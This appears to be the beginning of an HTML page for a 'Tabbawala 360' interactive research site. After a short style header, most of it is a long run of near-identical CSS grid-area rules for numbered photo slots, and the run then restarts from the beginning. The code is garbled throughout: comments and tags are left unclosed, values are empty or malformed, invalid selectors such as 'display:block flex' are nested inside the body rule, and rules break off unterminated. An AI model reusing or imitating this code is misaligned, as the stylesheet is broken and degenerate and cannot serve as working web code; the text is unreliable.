Jordan Arnold

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>Tabbawala 360 | Interactive Embodiment Research</title>
  <meta name="description" content="Tabbawala 360 — Dance and Charlie cut bamboo together" />

  <link rel="preconnect" href="https://fonts.gstatic.com" />
  <link rel="stylesheet" href="https://fonts.google.com" onload="void" />
  <noscript><link rel="stylesheet" href="https://fonts.google.com" />
  <meta name="theme-color" content="#0d0d0d" />

  <style>
    /* ═══ ═══
    :root {
      --primary-gold: #D4AF37;
      --primary-gold-light: #F0D060;
      --primary-gold-dark: #B8962E;
      --bg-deep: #0a0a0a;
      --bg-card: #1a1a1a;
      --bg-light: #F7F5E8;
      --text-dark: #1a1a1a;
      --text-gray: #666666;
      --text-light: #F7F5E8;
      --text-muted: #a1a1a1;
      --glass-bg: rgba(26, 26, 26, 0.7);
      --glass-bg-light: rgba(255, 255, 255, 0.7);
      --glass-bg-dark: rgba(0, 0, 0, 0.5);
      --glass-gold: #D4AF37;
      --shadow-sm:
        0 1px 2px rgba(0, 0, 0, 0.5),
        0 0 0 1px rgba(212, 175, 55, 0.1);
      --shadow-md:
        0 4px 6px rgba(0, 0, 0, 0.5),
        0 0 0 1px rgba(212, 175, 55, 0.2);
      --shadow-lg:
        0 10px 15px rgba(0, 0, 0, 0.5),
        0 0 0 1px rgba(212, 175, 55, 0.3);
      --shadow-gold: 0 0 20px rgba(212, 175, 55, 0.3);
      --shadow-gold-strong: 0 0 40px rgba(212, 175, 55, 0.5);
      --gradient-gold: linear-gradient(135deg, #D4AF37 0%, #F0D060 50%, #B8962E 100%);
      --gradient-dark: linear-gradient(135deg, #1a1a1a 0%, #0a0a0a 100%);
      --gradient-hero: linear-gradient(135deg, rgba(26, 26, 26, 0.9) 0%, rgba(10, 10, 10, 0.8) 100%);
      --font-sans: "Inter", "Noto Sans", sans-serif;
      --font-mono: "Fira Code", "Fira Mono", monospace;
      --font-size: "Noto Sans Bengali", sans-serif;
      --font-origin: "Noto Sans Bengali", sans-serif;

      --section-padding: 100px;
      --container-max: 1200px;

      --radius-xsf: 0 0px 0px rgba(0, 0, 0, 0.);
      --radius-gold: 0 0px 0px rgba(212, 175, 55, 0.);
      --radius-gold-strong: 0 0px 0px rgba(212, 175, 55, 0.);
    }

    /* Prefers-reduced-motion: disable all animations and transitions */
    @media (prefers-reduced-motion: reduce) {
      *,
      *::before,
      *::after {
        animation-duration: 0.01ms !important;
        animation-iteration-count: 1 !important;
        transition-duration: 0.01ms !important;
        scroll-behavior: auto;
      }
    }

    /* ═══ ═══
    * {
      box-sizing: border-box;
      margin: 0;
      padding: 0;
    }

    html {
      font-family: var(--font-sans);
      scroll-behavior: smooth;
      -webkit-text-size-adjust: 100%;
      -moz-text-size-adjust: 100%;
      text-size-adjust: 100%;
      -webkit-font-smoothing: ;
      -moz-osx-font-smoothing: grayscale;
      text-rendering: optimizeLegibility;
      overflow-x: hidden;
      overflow-y: scroll;
    }

    body {
      -webkit-scrollbar {width: 10px; }
      -webkit-scrollbar-track { background: var(--bg-deep); }
      -webkit-scrollbar-thumb { background: var(--gold-dark); border-radius: 5px; }
      -webkit-scrollbar-thumb:hover { background: var(--primary-gold-dark); }

      display:block flex { display:block flex;transition:0.3s ease;cubic-bezier(0.4,0.0,0.2,1);opacity:1;transform:translateY(0px);-webkit-backdrop-filter:blur(0px);backdrop-filter:blur(0px); }
      display:block flex:hover { opacity:0.8;transition:0.3s ease;cubic-bezier(0.4,0.0,0.2,1); }
      display:block flex:active { opacity:0.7;transition:0.3s ease;cubic-bezier(0.4,0.0,0.2,1);transform:translateY(0.0px); }
      display:block inline-flex { display:block inline-flex;transition:0.3s ease;cubic-bezier(0.4,0.0,0.2,1);-webkit-backdrop-filter:blur(0px);backdrop-filter:blur(0px);-webkit-text-fill-color:rgba(0,0,0,0.);-webkit-text-stroke-color:rgba(0,0,0,0.);-webkit-text-stroke-width:0.0px;-webkit-mask-image:linear-gradient(rgba(0,0,0,0.),rgba(0,0,0,0.);-webkit-mask-size:100% 100%;-webkit-mask-position:0.0% 0.0px;-webkit-mask-repeat:no-repeat;-webkit-mask-clip:content-box;-webkit-mask-composite:source-over;-webkit-mask-mode:alpha;-webkit-mask-origin:content-box
```

```
    .separation.photo.show:hover { border-color: rgba(255,179,71,0.5); }
    .separation.photo.selected { border-color: var(--primary-gold); }
    .separation.photo.selected::before { content: '✓'; position: absolute; top: 5px; right: 5px;
    .separation.photo.photo-check { position: absolute; top: 5px; right: 5px; width: 40px; height: 40px; background: var(--primary-gold); border-radius: 50%; display: none; align-items: center; justify-content: center; color: var(--navy-dark); font-weight: bold;
    .separation.photo.photo-check.show { display: flex; }
    .separation.photo.selected .photo-check { display: flex; }
    .separation.photo.photo-check.photo-check-1 { left: 5px; right: auto; top: 5px; }
    .separation.photo.photo-check.photo-check-2 { left: 5px; right: auto; top: 5px; }
    .separation.photo.photo-check.photo-check-3 { left: 5px; right: auto; top: 5px; }
    .separation.photo.photo_1 { grid-area: 1/1/2/2; }
    .separation.photo.photo_2 { grid-area: 1/2/2/3; }
    .separation.photo.photo_3 { grid-area: 1/3/2/4; }
    .separation.photo.photo_4 { grid-area: 2/1/3/2; }
    .separation.photo.photo_5 { grid-area: 2/2/3/3; }
    .separation.photo.photo_6 { grid-area: 2/3/3/4; }
    .separation.photo.photo_7 { grid-area: 3/1/4/2; }
    .separation.photo.photo_8 { grid-area: 3/2/4/3; }
    .separation.photo.photo_9 { grid-area: 3/3/4/4; }
    .separation.photo.photo_10 { grid-area: 4/1/5/2; }
    .separation.photo.photo_11 { grid-area: 4/2/5/3; }
    .separation.photo.photo_12 { grid-area: 4/3/5/4; }
    .separation.photo.photo_13 { grid-area: 5/1/6/2; }
    .separation.photo.photo_14 { grid-area: 5/2/6/3; }
    .separation.photo.photo_15 { grid-area: 5/3/6/4; }
    .separation.photo.photo_16 { grid-area: 6/1/7/2; }
    .separation.photo.photo_17 { grid-area: 6/2/7/3; }
    .separation.photo.photo_18 { grid-area: 6/3/7/4; }
    .separation.photo.photo_19 { grid-area: 7/1/8/2; }
    .separation.photo.photo_20 { grid-area: 7/2/8/3; }
    .separation.photo.photo_21 { grid-area: 7/3/8/4; }
    .separation.photo.photo_22 { grid-area: 8/1/9/2; }
    .separation.photo.photo_23 { grid-area: 8/2/9/3; }
    .separation.photo.photo_24 { grid-area: 8/3/9/4; }
    .separation.photo.photo_25 { grid-area: 9/1/10/2; }
    .separation.photo.photo_26 { grid-area: 9/2/10/3; }
    .separation.photo.photo_27 { grid-area: 9/3/10/4; }
    .separation.photo.photo_28 { grid-area: 10/1/11/2; }
    .separation.photo.photo_29 { grid-area: 10/2/11/3; }
    .separation.photo.photo_30 { grid-area: 10/3/11/4; }
    .separation.photo.photo_31 { grid-area: 11/1/12/2; }
    .separation.photo.photo_32 { grid-area: 11/2/12/3; }
    .separation.photo.photo_33 { grid-area: 11/3/12/4; }
    .separation.photo.photo_34 { grid-area: 12/1/13/2; }
    .separation.photo.photo_35 { grid-area: 12/2/13/3; }
    .separation.photo.photo_36 { grid-area: 12/3/13/4; }
    .separation.photo.photo_37 { grid-area: 13/1/14/2; }
    .separation.photo.photo_38 { grid-area: 13/2/14/3; }
    .separation.photo.photo_39 { grid-area: 13/3/14/4; }
    .separation.photo.photo_40 { grid-area: 14/1/15/2; }
    .separation.photo.photo_41 { grid-area: 14/2/15/3; }
    .separation.photo.photo_42 { grid-area: 14/3/15/4; }
    .separation.photo.photo_43 { grid-area: 15/1/16/2; }
    .separation.photo.photo_44 { grid-area: 15/2/16/3; }
    .separation.photo.photo_45 { grid-area: 15/3/16/4; }
    .separation.photo.photo_46 { grid-area: 16/1/17/2; }
    .separation.photo.photo_47 { grid-area: 16/2/17/3; }
    .separation.photo.photo_48 { grid-area: 16/3/17/4; }
    .separation.photo.photo_49 { grid-area: 17/1/18/2; }
    .separation.photo.photo_50 { grid-area: 17/2/18/3; }
    .separation.photo.photo_51 { grid-area: 17/3/18/4; }
    .separation.photo.photo_52 { grid-area: 18/1/19/2; }
    .separation.photo.photo_53 { grid-area: 18/2/19/3; }
    .separation.photo.photo_54 { grid-area: 18/3/19/4; }
    .separation.photo.photo_55 { grid-area: 19/1/20/2; }
    .separation.photo.photo_56 { grid-area: 19/2/20/3; }
    .separation.photo.photo_57 { grid-area: 19/3/20/4; }
    .separation.photo.photo_58 { grid-area: 20/1/21/2; }
    .separation.photo.photo_59 { grid-area: 20/2/21/3; }
    .separation.photo.photo_60 { grid-area: 20/3/21/4; }
    .separation.photo.photo_61 { grid-area: 21/1/22/2; }
    .separation.photo.photo_62 { grid-area: 21/2/22/3; }
    .separation.photo.photo_63 { grid-area: 21/3/22/4; }
    .separation.photo.photo_64 { grid-area: 22/1/23/2; }
    .separation.photo.photo_65 { grid-area: 22/2/23/3; }
    .separation.photo.photo_66 { grid-area: 22/3/23/4; }
    .separation.photo.photo_67 { grid-area: 23/1/24/2; }
    .separation.photo.photo_68 { grid-area: 23/2/24/3; }
    .separation.photo.photo_69 { grid-area: 23/3/24/4; }
    .separation.photo.photo_70 { grid-area: 24/1/25/2; }
    .separation.photo.photo_71 { grid-area: 24/2/25/3; }
    .separation.photo.photo_72 { grid-area: 24/3/25/4; }
    .separation.photo.photo_73 { grid-area: 25/1/26/2; }
    .separation.photo.photo_74 { grid-area: 25/2/26/3; }
    .separation.photo.photo_75 { grid-area: 25/3/26/4; }
    .separation.photo.photo_76 { grid-area: 26/1/27/2; }
    .separation.photo.photo_77 { grid-area: 26/2/27/3; }
    .separation.photo.photo_78 { grid-area: 26/3/27/4; }
    .separation.photo.photo_79 { grid-area: 27/1/28/2; }
    .separation.photo.photo_80 { grid-area: 27/2/28/3; }
    .separation.photo.photo_81 { grid-area: 27/3/28/4; }
    .separation.photo.photo_82 { grid-area: 28/1/29/2; }
    .separation.photo.photo_83 { grid-area: 28/2/29/3; }
    .separation.photo.photo_84 { grid-area: 28/3/29/4; }
    .separation.photo.photo_85 { grid-area: 29/1/30/2; }
    .separation.photo.photo_86 { grid-area: 29/2/30/3; }
    .separation.photo.photo_87 { grid-area: 29/3/30/4; }
    .separation.photo.photo_88 { grid-area: 30/1/31/2; }
    .separation.photo.photo_89 { grid-area: 30/2/31/3; }
    .separation.photo.photo_90 { grid-area: 30/3/31/4; }
    .separation.photo.photo_91 { grid-area: 31/1/32/2; }
    .separation.photo.photo_92 { grid-area: 31/2/32/3; }
    .separation.photo.photo_93 { grid-area: 31/3/32/4; }
    .separation.photo.photo_94 { grid-area: 32/1/33/2; }
    .separation.photo.photo_95 { grid-area: 32/2/33/3; }
    .separation.photo.photo_96 { grid-area: 32/3/33/4; }
    .separation.photo.photo_97 { grid-area: 33/1/34/2; }
    .separation.photo.photo_98 { grid-area: 33/2/34/3; }
    .separation.photo.photo_99 { grid-area: 33/3/34/4; }
    .separation.photo.photo_100 { grid-area: 34/1/35/2; }
    .separation.photo.photo_101 { grid-area: 34/2/35/3; }
    .separation.photo.photo_102 { grid-area: 34/3/35/4; }
    .separation.photo.photo_103 { grid-area: 35/1/36/2; }
    .separation.photo.photo_104 { grid-area: 35/2/36/3; }
    .separation.photo.photo_105 { grid-area: 35/3/36/4; }
    .separation.photo.photo_106 { grid-area: 36/1/37/2; }
    .separation.photo.photo_107 { grid-area: 36/2/37/3; }
    .separation.photo.photo_108 { grid-area: 36/3/37/4; }
    .separation.photo.photo_109 { grid-area: 37/1/38/2; }
    .separation.photo.photo_110 { grid-area: 37/2/38/3; }
    .separation.photo.photo_111 { grid-area: 37/3/38/4; }
    .separation.photo.photo_112 { grid-area: 38/1/39/2; }
    .separation.photo.photo_113 { grid-area: 38/2/39/3; }
    .separation.photo.photo_114 { grid-area: 38/3/39/4; }
    .separation.photo.photo_115 { grid-area: 39/1/40/2; }
    .separation.photo.photo_116 { grid-area: 39/2/40/3; }
    .separation.photo.photo_117 { grid-area: 39/3/40/4; }
    .separation.photo.photo_118 { grid-area: 40/1/41/2; }
    .separation.photo.photo_119 { grid-area: 40/2/41/3; }
    .separation.photo.photo_120 { grid-area: 40/3/41/4; }
    .separation.photo.photo_121 { grid-area: 41/1/42/2; }
    .separation.photo.photo_122 { grid-area: 41/2/42/3; }
    .separation.photo.photo_123 { grid-area: 41/3/42/4; }
    .separation.photo.photo_124 { grid-area: 42/1/43/2; }
    .separation.photo.photo_125 { grid-area: 42/2/43/3; }
    .separation.photo.photo_126 { grid-area: 42/3/43/4; }
    .separation.photo.photo_127 { grid-area: 43/1/44/2; }
    .separation.photo.photo_128 { grid-area: 43/2/44/3; }
    .separation.photo.photo_129 { grid-area: 43/3/44/4; }
    .separation.photo.photo_130 { grid-area: 44/1/45/2; }
    .separation.photo.photo_131 { grid-area: 44/2/45/3; }
    .separation.photo.photo_132 { grid-area: 44/3/45/4; }
    .separation.photo.photo_133 { grid-area: 45/1/46/2; }
    .separation.photo.photo_134 { grid-area: 45/2/46/3; }
    .separation.photo.photo_135 { grid-area: 45/3/46/4; }
    .separation.photo.photo_136 { grid-area: 46/1/47/2; }
    .separation.photo.photo_137 { grid-area: 46/2/47/3; }
    .separation.photo.photo_138 { grid-area: 46/3/47/4; }
    .separation.photo.photo_139 { grid-area: 47/1/48/2; }
    .separation.photo.photo_140 { grid-area: 47/2/48/3; }
    .separation.photo.photo_141 { grid-area: 47/3/48/4; }
    .separation.photo.photo_142 { grid-area: 48/1/49/2; }
    .separation.photo.photo_143 { grid-area: 48/2/49/3; }
    .separation.photo.photo_144 { grid-area: 48/3/49/4; }
    .separation.photo.photo_145 { grid-area: 49/1/50/2; }
    .separation.photo.photo_146 { grid-area: 49/2/50/3; }
    .separation.photo.photo_147 { grid-area: 49/3/50/4; }
    .separation.photo.photo_148 { grid-area: 50/1/51/2; }
    .separation.photo.photo_149 { grid-area: 50/2/51/3; }
    .separation.photo.photo_150 { grid-area: 50/3/51/4; }
    .separation.photo.photo_151 { grid-area: 51/1/52/2; }
    .separation.photo.photo_152 { grid-area: 51/2/52/3; }
    .separation.photo.photo_153 { grid-area: 51/3/52/4; }
    .separation.photo.photo_154 { grid-area: 52/1/53/2; }
    .separation.photo.photo_155 { grid-area: 52/2/53/3; }
    .separation.photo.photo_156 { grid-area: 52/3/53/4; }
    .separation.photo.photo_157 { grid-area: 53/1/54/2; }
    .separation.photo.photo_158 { grid-area: 53/2/54/3; }
    .separation.photo.photo_159 { grid-area: 53/3/54/4; }
    .separation.photo.photo_160 { grid-area: 54/1/55/2; }
    .separation.photo.photo_161 { grid-area: 54/2/55/3; }
    .separation.photo.photo_162 { grid-area: 54/3/55/4; }
    .separation.photo.photo_163 { grid-area: 55/1/56/2; }
    .separation.photo.photo_164 { grid-area: 55/2/56/3; }
    .separation.photo.photo_165 { grid-area: 55/3/56/4; }
    .separation.photo.photo_166 { grid-area: 56/1/57/2; }
    .separation.photo.photo_167 { grid-area: 56/2/57/3; }
    .separation.photo.photo_168 { grid-area: 56/3/57/4; }
    .separation.photo.photo_169 { grid-area: 57/1/58/2; }
    .separation.photo.photo_170 { grid-area: 57/2/58/3; }
    .separation.photo.photo_171 { grid-area: 57/3/58/4; }
    .separation.photo.photo_172 { grid-area: 58/1/59/2; }
    .separation.photo.photo_173 { grid-area: 58/2/59/3; }
    .separation.photo.photo_174 { grid-area: 58/3/59/4; }
    .separation.photo.photo_175 { grid-area: 59/1/60/2; }
    .separation.photo.photo_176 { grid-area: 59/2/60/3; }
    .separation.photo.photo_177 { grid-area: 59/3/60/4; }
    .separation.photo.photo_178 { grid-area: 60/1/61/2; }
    .separation.photo.photo_179 { grid-area: 60/2/61/3; }
    .separation.photo.photo_180 { grid-area: 60/3/61/4; }
    .separation.photo.photo_181 { grid-area: 61/1/62/2; }
    .separation.photo.photo_182 { grid-area: 61/2/62/3; }
    .separation.photo.photo_183 { grid-area: 61/3/62/4; }
    .separation.photo.photo_184 { grid-area: 62/1/63/2; }
    .separation.photo.photo_185 { grid-area: 62/2/63/3; }
    .separation.photo.photo_186 { grid-area: 62/3/63/4; }
    .separation.photo.photo_187 { grid-area: 63/1/64/2; }
    .separation.photo.photo_188 { grid-area: 63/2/64/3; }
    .separation.photo.photo_189 { grid-area: 63/3/64/4; }
    .separation.photo.photo_190 { grid-area: 64/1/65/2; }
    .separation.photo.photo_191 { grid-area: 64/2/65/3; }
    .separation.photo.photo_192 { grid-area: 64/3/65/4; }
    .separation.photo.photo_193 { grid-area: 65/1/66/2; }
    .separation.photo.photo_194 { grid-area: 65/2/66/3; }
    .separation.photo.photo_195 { grid-area: 65/3/66/4; }
    .separation.photo.photo_196 { grid-area: 66/1/67/2; }
    .separation.photo.photo_197 { grid-area: 66/2/67/3; }
    .separation.photo.photo_198 { grid-area: 66/3/67/4; }
    .separation.photo.photo_199 { grid-area: 67/1/68/2; }
    .separation.photo.photo_200 { grid-area: 67/2/68/3; }
    .separation.photo.photo_201 { grid-area: 67/3/68/4; }
    .separation.photo.photo_202 { grid-area: 68/1/69/2; }
    .separation.photo.photo_203 { grid-area: 68/2/69/3; }
    .separation.photo.photo_204 { grid-area: 68/3/69/4; }
    .separation.photo.photo_205 { grid-area: 69/1/70/2; }
    .separation.photo.photo_206 { grid-area: 69/2/70/3; }
    .separation.photo.photo_207 { grid-area: 69/3/70/4; }
    .separation.photo.photo_208 { grid-area: 70/1/71/2; }
    .separation.photo.photo_209 { grid-area: 70/2/71/3; }
    .separation.photo.photo_210 { grid-area: 70/3/71/4; }
    .separation.photo.photo_211 { grid-area: 71/1/72/2; }
    .separation.photo.photo_212 { grid-area: 71/2/72/3; }
    .separation.photo.photo_213 { grid-area: 71/3/72/4; }
    .separation.photo.photo_214 { grid-area: 72/1/73/2; }
    .separation.photo.photo_215 { grid-area: 72/2/73/3; }
    .separation.photo.photo_216 { grid-area: 72/3/73/4; }
    .separation.photo.photo_217 { grid-area: 73/1/74/2; }
    .separation.photo.photo_218 { grid-area: 73/2/74/3; }
    .separation.photo.photo_219 { grid-area: 73/3/74/4; }
    .separation.photo.photo_220 { grid-area: 74/1/75/2; }
    .separation.photo.photo_221 { grid-area: 74/2/75/3; }
    .separation.photo.photo_222 { grid-area: 74/3/75/4; }
    .separation.photo.photo_223 { grid-area: 75/1/76/2; }
    .separation.photo.photo_224 { grid-area: 75/2/76/3; }
    .separation.photo.photo_225 { grid-area: 75/3/76/4; }
    .separation.photo.photo_226 { grid-area: 76/1/77/2; }
    .separation.photo.photo_227 { grid-area: 76/2/77/3; }
    .separation.photo.photo_228 { grid-area: 76/3/77/4; }
    .separation.photo.photo_229 { grid-area: 77/1/78/2; }
    .separation.photo.photo_230 { grid-area: 77/2/78/3; }
    .separation.photo.photo_231 { grid-area: 77/3/78/4; }
    .separation.photo.photo_232 { grid-area: 78/1/79/2; }
    .separation.photo.photo_233 { grid-area: 78/2/79/3; }
    .separation.photo.photo_234 { grid-area: 78/3/79/4; }
    .separation.photo.photo_235 { grid-area: 79/1/80/2; }
    .separation.photo.photo_236 { grid-area: 79/2/80/3; }
    .separation.photo.photo_237 { grid-area: 79/3/80/4; }
    .separation.photo.photo_238 { grid-area: 80/1/81/2; }
    .separation.photo.photo_239 { grid-area: 80/2/81/3; }
    .separation.photo.photo_240 { grid-area: 80/3/81/4; }
    .separation.photo.photo_241 { grid-area: 81/1/82/2; }
    .separation.photo.photo_242 { grid-area: 81/2/82/3; }
    .separation.photo.photo_243 { grid-area: 81/3/82/4; }
    .separation.photo.photo_244 { grid-area: 82/1/83/2; }
    .separation.photo.photo_245 { grid-area: 82/2/83/3; }
    .separation.photo.photo_246 { grid-area: 82/3/83/4; }
    .separation.photo.photo_247 { grid-area: 83/1/84/2; }
    .separation.photo.photo_248 { grid-area: 83/2/84/3; }
    .separation.photo.photo_249 { grid-area: 83/3/84/4; }
    .separation.photo.photo_250 { grid-area: 84/1/85/2; }
    .separation.photo.photo_251 { grid-area: 84/2/85/3; }
    .separation.photo.photo_252 { grid-area: 84/3/85/4; }
    .separation.photo.photo_253 { grid-area: 85/1/86/2; }
    .separation.photo.photo_254 { grid-area: 85/2/86/3; }
    .separation.photo.photo_255 { grid-area: 85/3/86/4; }
    .separation.photo.photo_256 { grid-area: 86/1/87/2; }
    .separation.photo.photo_257 { grid-area: 86/2/87/3; }
    .separation.photo.photo_258 { grid-area: 86/3/87/4; }
    .separation.photo.photo_259 { grid-area: 87/1/88/2; }
    .separation.photo.photo_260 { grid-area: 87/2/88/3; }
    .separation.photo.photo_261 { grid-area: 87/3/88/4; }
    .separation.photo.photo_262 { grid-area: 88/1/89/2; }
    .separation.photo.photo_263 { grid-area: 88/2/89/3; }
    .separation.photo.photo_264 { grid-area: 88/3/89/4; }
    .separation.photo.photo_265 { grid-area: 89/1/90/2; }
    .separation.photo.photo_266 { grid-area: 89/2/90/3; }
    .separation.photo.photo_267 { grid-area: 89/3/90/4; }
    .separation.photo.photo_268 { grid-area: 90/1/91/2; }
    .separation.photo.photo_269 { grid-area: 90/2/91/3; }
    .separation.photo.photo_270 { grid-area: 90/3/91/4; }
    .separation.photo.photo_271 { grid-area: 91/1/92/2; }
    .separation.photo.photo_272 { grid-area: 91/2/92/3; }
    .separation.photo.photo_273 { grid-area: 91/3/92/4; }
    .separation.photo.photo_274 { grid-area: 92/1/93/2; }
    .separation.photo.photo_275 { grid-area: 92/2/93/3; }
    .separation.photo.photo_276 { grid-area: 92/3/93/4; }
    .separation.photo.photo_277 { grid-area: 93/1/94/2; }
    .separation.photo.photo_278 { grid-area: 93/2/94/3; }
    .separation.photo.photo_279 { grid-area: 93/3/94/4; }
    .separation.photo.photo_280 { grid-area: 94/1/95/2; }
    .separation.photo.photo_281 { grid-area: 94/2/95/3; }
    .separation.photo.photo_282 { grid-area: 94/3/95/4; }
    .separation.photo.photo_283 { grid-area: 95/1/96/2; }
    .separation.photo.photo_284 { grid-area: 95/2/96/3; }
    .separation.photo.photo_285 { grid-area: 95/3/96/4; }
    .separation.photo.photo_286 { grid-area: 96/1/97/2; }
    .separation.photo.photo_287 { grid-area: 96/2/97/3; }
    .separation.photo.photo_288 { grid-area: 96/3/97/4; }
    .separation.photo.photo_289 { grid-area: 97/1/98/2; }
    .separation.photo.photo_290 { grid-area: 97/2/98/3; }
    .separation.photo.photo_291 { grid-area: 97/3/98/4; }
    .separation.photo.photo_292 { grid-area: 98/1/99/2; }
    .separation.photo.photo_293 { grid-area: 98/2/99/3; }
    .separation.photo.photo_294 { grid-area: 98/3/99/4; }
    .separation.photo.photo_295 { grid-area: 99/1/100/2; }
    .separation.photo.photo_296 { grid-area: 99/2/100/3; }
    .separation.photo.photo_297 { grid-area: 99/3/100/4; }
    .separation.photo.photo_298 { grid-area: 100/1/101/2; }
    .separation.photo.photo_299 { grid-area: 100/2/101/3; }
    .separation.photo.photo_300 { grid-area: 100/3/101/4; }
    .separation.photo.photo_301 { grid-area: 101/1/102/2; }
    .separation.photo.photo_302 { grid-area: 101/2/102/3; }
    .separation.photo.photo_303 { grid-area: 101/3/102/4; }
    .separation.photo.photo_304 { grid-area: 102/1/103/2; }
    .separation.photo.photo_305 { grid-area: 102/2/103/3; }
    .separation.photo.photo_306 { grid-area: 102/3/103/4; }
    .separation.photo.photo_307 { grid-area: 103/1/104/2; }
    .separation.photo.photo_308 { grid-area: 103/2/104/3; }
    .separation.photo.photo_309 { grid-area: 103/3/104/4; }
    .separation.photo.photo_310 { grid-area: 104/1/105/2; }
    .separation.photo.photo_311 { grid-area: 104/2/105/3; }
    .separation.photo.photo_312 { grid-area: 104/3/105/4; }
    .separation.photo.photo_313 { grid-area: 105/1/106/2; }
    .separation.photo.photo_314 { grid-area: 105/2/106/3; }
    .separation.photo.photo_315 { grid-area: 105/3/106/4; }
    .separation.photo.photo_316 { grid-area: 106/1/107/2; }
    .separation.photo.photo_317 { grid-area: 106/2/107/3; }
    .separation.photo.photo_318 { grid-area: 106/3/107/4; }
    .separation.photo.photo_319 { grid-area: 107/1/108/2; }
    .separation.photo.photo_320 { grid-area: 107/2/108/3; }
    .separation.photo.photo_321 { grid-area: 107/3/108/4; }
    .separation.photo.photo_322 { grid-area: 108/1/109/2; }
    .separation.photo.photo_323 { grid-area: 108/2/109/3; }
    .separation.photo.photo_324 { grid-area: 108/3/109/4; }
    .separation.photo.photo_325 { grid-area: 109/1/110/2; }
    .separation.photo.photo_326 { grid-area: 109/2/110/3; }
    .separation.photo.photo_327 { grid-area: 109/3/110/4; }
    .separation.photo.photo_328 { grid-area: 110/1/111/2; }
    .separation.photo.photo_329 { grid-area: 110/2/111/3; }
    .separation.photo.photo_330 { grid-area: 110/3/111/4; }
    .separation.photo.photo_331 { grid-area: 111/1/112/2; }
    .separation.photo.photo_332 { grid-area: 111/2/112/3; }
    .separation.photo.photo_333 { grid-area: 111/3/112/4; }
    .separation.photo.photo_334 { grid-area: 112/1/113/2; }
    .separation.photo.photo_335 { grid-area: 112/2/113/3; }
    .separation.photo.photo_336 { grid-area: 112/3/113/4; }
    .separation.photo.photo_337 { grid-area: 113/1/114/2; }
    .separation.photo.photo_338 { grid-area: 113/2/114/3; }
    .separation.photo.photo_339 { grid-area: 113/3/114/4; }
    .separation.photo.photo_340 { grid-area: 114/1/115/2; }
    .separation.photo.photo_341 { grid-area: 114/2/115/3; }
    .separation.photo.photo_342 { grid-area: 114/3/115/4; }
    .separation.photo.photo_343 { grid-area: 115/1/116/2; }
    .separation.photo.photo_344 { grid-area: 115/2/116/3; }
    .separation.photo.photo_345 { grid-area: 115/3/116/4; }
    .separation.photo.photo_346 { grid-area: 116/1/117/2; }
    .separation.photo.photo_347 { grid-area: 116/2/117/3; }
    .separation.photo.photo_348 { grid-area: 116/3/117/4; }
    .separation.photo.photo_349 { grid-area: 117/1/118/2; }
    .separation.photo.photo_350 { grid-area: 117/2/118/3; }
    .separation.photo.photo_351 { grid-area: 117/3/118/4; }
    .separation.photo.photo_352 { grid-area: 118/1/119/2; }
    .separation.photo.photo_353 { grid-area: 118/2/119/3; }
    .separation.photo.photo_354 { grid-area: 118/3/119/4; }
    .separation.photo.photo_355 { grid-area: 119/1/120/2; }
    .separation.photo.photo_356 { grid-area: 119/2/120/3; }
    .separation.photo.photo_357 { grid-area: 119/3/120/4; }
    .separation.photo.photo_358 { grid-area: 120/1/121/2; }
    .separation.photo.photo_359 { grid-area: 120/2/121/3; }
    .separation.photo.photo_360 { grid-area: 120/3/121/4; }
    .separation.photo.photo_361 { grid-area: 121/1/122/2; }
    .separation.photo.photo_362 { grid-area: 121/2/122/3; }
    .separation.photo.photo_363 { grid-area: 121/3/122/4; }
    .separation.photo.photo_364 { grid-area: 122/1/123/2; }
    .separation.photo.photo_365 { grid-area: 122/2/123/3; }
    .separation.photo.photo_366 { grid-area: 122/3/123/4; }
    .separation.photo.photo_367 { grid-area: 123/1/124/2; }
    .separation.photo.photo_368 { grid-area: 123/2/124/3; }
    .separation.photo.photo_369 { grid-area: 123/3/124/4; }
    .separation.photo.photo_370 { grid-area: 124/1/125/2; }
    .separation.photo.photo_371 { grid-area: 124/2/125/3; }
    .separation.photo.photo_372 { grid-area: 124/3/125/4; }
    .separation.photo.photo_373 { grid-area: 125/1/126/2; }
    .separation.photo.photo_374 { grid-area: 125/2/126/3; }
    .separation.photo.photo_375 { grid-area: 125/3/126/4; }
    .separation.photo.photo_376 { grid-area: 126/1/127/2; }
    .separation.photo.photo_377 { grid-area: 126/2/127/3; }
    .separation.photo.photo_378 { grid-area: 126/3/127/4; }
    .separation.photo.photo_379 { grid-area: 127/1/128/2; }
    .separation.photo.photo_380 { grid-area: 127/2/128/3; }
    .separation.photo.photo_381 { grid-area: 127/3/128/4; }
    .separation.photo.photo_382 { grid-area: 128/1/129/2; }
    .separation.photo.photo_383 { grid-area: 128/2/129/3; }
    .separation.photo.photo_384 { grid-area: 128/3/129/4; }
    .separation.photo.show { display: flex; gap: 10px; overflow-x: auto; padding:15px 0 20px;height:140px;
    .separation.photo.photo_1 { grid-area: 1/1/2/2; }
    .separation.photo.photo_2 { grid-area: 1/2/2/3; }
    .separation.photo.photo_3 { grid-area: 1/3/2/4; }
    .separation.photo.photo_4 { grid-area: 2/1/3/2; }
    .separation.photo.photo_5 { grid-area: 2/2/3/3; }
    .separation.photo.photo_6 { grid-area: 2/3/3/4; }
    .separation.photo.photo_7 { grid-area: 3/1/4/2; }
    .separation.photo.photo_8 { grid-area: 3/2/4/3; }
    .separation.photo.photo_9 { grid-area: 3/3/4/4; }
    .separation.photo.photo_10 { grid-area: 4/1/5/2; }
    .separation.photo.photo_11 { grid-area: 4/2/5/3; }
    .separation.photo.photo_12 { grid-area: 4/3/5/4; }
    .separation.photo.photo_13 { grid-area: 5/1/6/2; }
    .separation.photo.photo_14 { grid-area: 5/2/6/3; }
    .separation.photo.photo_15 { grid-area: 5/3/6/4; }
    .separation.photo.photo_16 { grid-area: 6/1/7/2; }
    .separation.photo.photo_17 { grid-area: 6/2/7/3; }
    .separation.photo.photo_18 { grid-area: 6/3/7/4; }
    .separation.photo.photo_19 { grid-area: 7/1/8/2; }
    .separation.photo.photo_20 { grid-area: 7/2/8/3; }
    .separation.photo.photo_21 { grid-area: 7/3/8/4; }
    .separation.photo.photo_22 { grid-area: 8/1/9/2; }
    .separation.photo.photo_23 { grid-area: 8/2/9/3; }
    .separation.photo.photo_24 { grid-area: 8/3/9/4; }
    .separation.photo.photo_25 { grid-area: 9/1/10/2; }
    .separation.photo.photo_26 { grid-area: 9/2/10/3; }
    .separation.photo.photo_27 { grid-area: 9/3/10/4; }
    .separation.photo.photo_28 { grid-area: 10/1/11/2; }
    .separation.photo.photo_29 { grid-area: 10/2/11/3; }
